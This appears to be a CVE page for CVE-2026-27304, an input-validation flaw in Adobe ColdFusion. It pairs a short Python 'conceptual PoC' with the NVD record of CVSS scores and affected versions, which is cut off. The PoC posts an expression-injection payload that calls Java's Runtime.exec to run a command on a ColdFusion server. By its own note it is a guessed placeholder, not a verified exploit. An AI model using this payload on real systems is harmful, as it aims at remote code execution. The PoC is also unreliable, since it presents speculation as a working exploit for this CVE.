CVE-2026-27304

# Conceptual PoC for CVE-2026-27304 # Note: This is a placeholder based on the vulnerability description. import requests target_url = "http://target-coldfusion-server:8500/vulnerable_endpoint" # Malicious payload designed to bypass input validation payload = { "parameter": "${'test'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null,null).exec('calc.exe')}" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Potential exploitation successful.") else: print("[-] Exploitation failed or patched.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-27304", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:29.417", "lastModified": "2026-04-16T14:42:47.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2023.18, 2025.6 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:-:*:*:*:*:*:*", "matchCriteriaId": "B02A37FE-5D31-4892-A3E6-156A8FE62D28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update1:*:*:*:*:*:*", "matchCriteriaId": "0AA3D302-CFEE-4DFD-AB92-F53C87721BFF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update10:*:*:*:*:*:*", "matchCriteriaId": "645D1B5F-2DAB-4AB8-A465-AC37FF494F95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update11:*:*:*:*:*:*", "matchCriteriaId": "ED6D8996-0770-4C9F-BEA5-87EA479D40A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update12:*:*:*:*:*:*", "matchCriteriaId": "4836086E-3D4A-4A07-A372-382D385CB490"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update13:*:*:*:*:*:*", "matchCriteriaId": "CBC19168-4184-4B59-B9C8-E98844124EED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update14:*:*:*:*:*:*", "matchCriteriaId": "A60DCD92-9A5B-411C-9554-642C91D77FAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update15:*:*:*:*:*:*", "matchCriteriaId": "58CC65EF-60A3-4DFA-AA51-E5013F116CEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update16:*:*:*:*:*:*", "matchCriteriaId": "2E3EBFB1-4488-4924-A2E2-B7E422D68345"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update17:*:*:*:*:*:*", "matchCriteriaId": "A683F9B2-A0DC-4AA0-BE97-9E74FA200AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update18:*:*:*:*:*:*", "matchCriteriaId": "8689F35F-9A81-45D2-B782-DBA12306BA45"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update2:*:*:*:*:*:*", "matchCriteriaId": "EB88D4FE-5496-4639-BAF2-9F29F24ABF29"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update3:*:*:*:*:*:*", "matchCriteriaId": "43E0ED98-2C1F-40B8-AF60-FEB1D85619C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update4:*:*:*:*:*:*", "matchCriteriaId": "76204873-C6E0-4202-8A03-0773270F1802"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update5:*:*:*:*:*:*", "matchCriteriaId": "C1A22BE9-0D47-4BA8-8BDB-9B12D7A0F7C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update6:*:*:*:*:*:*", "matchCriteriaId": "E3A83642-BF14-4C37-BD94-FA76AABE8ADC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update7:*:*:*:*:*:*", "matchCriteriaId": "A892E1DC-F2C8-4F53-8580-A2D1BEED5A25"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update8:*:*:*:*:*:*", "matchCriteriaId": "DB97ADBA-C1A9-4EE0-9509-68CB12358AE5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update9:*:*:*:*:*:*", "matchCriteriaId": "E17C38F0-9B0F-4433-9CBD-6E3D63EA9BDC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:-:*:*:*:*:*:*", "matchCriteriaId": "30779417-D4E5-4A01-BE0E-1CE1D134292A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update1:*:*:*:*:*:*", "matchCriteriaId": "80D7FC6A-F264-4CB1-A18D-B091EBA47882"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update2:*:*:*:*:*:*", "matchCriteriaId": "E3DA0D20-93BA-4C76-A400-159853CD7277"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update3:*:*:*:*:*:*", "matchCriteriaId": "5BAB6F21-61F1-43AB-88BA-553CD9AD6C0E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update4:*:*:*:*:*:*", "matchCriteriaId": "C85288B9-5D63-49EA-828A-8DB3BB2367F6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update5:*:*:*:*:*:*", "matchCriteriaId": "3882A011-5A01-48E7-B5E7-5A837B1CE245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update6:*:*:*:*:*:*", "matchCriteriaId": "AAC ... (truncated)